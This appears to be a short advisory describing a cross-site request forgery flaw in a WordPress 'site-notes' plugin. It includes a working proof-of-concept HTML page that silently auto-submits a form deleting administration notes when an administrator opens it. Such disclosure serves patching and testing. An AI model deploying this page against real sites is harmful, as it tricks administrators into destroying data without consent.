Description The plugin does not have CSRF checks in some of its functionalities, which could allow attackers to make logged in users perform unwanted actions, such as deleting administration notes, via CSRF attacks
Have an administrator open the following HTML file:
<html>
<body>
<form action="http://<TARGET-DOMAIN>/wp-content/plugins/site-notes/ajax-calls.php" method="POST">
<input type="hidden" name="meta" value="note" />
<input type="hidden" name="id" value="<POST_ID>" />
<input type="hidden" name="value" value="DELETEALL!!" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>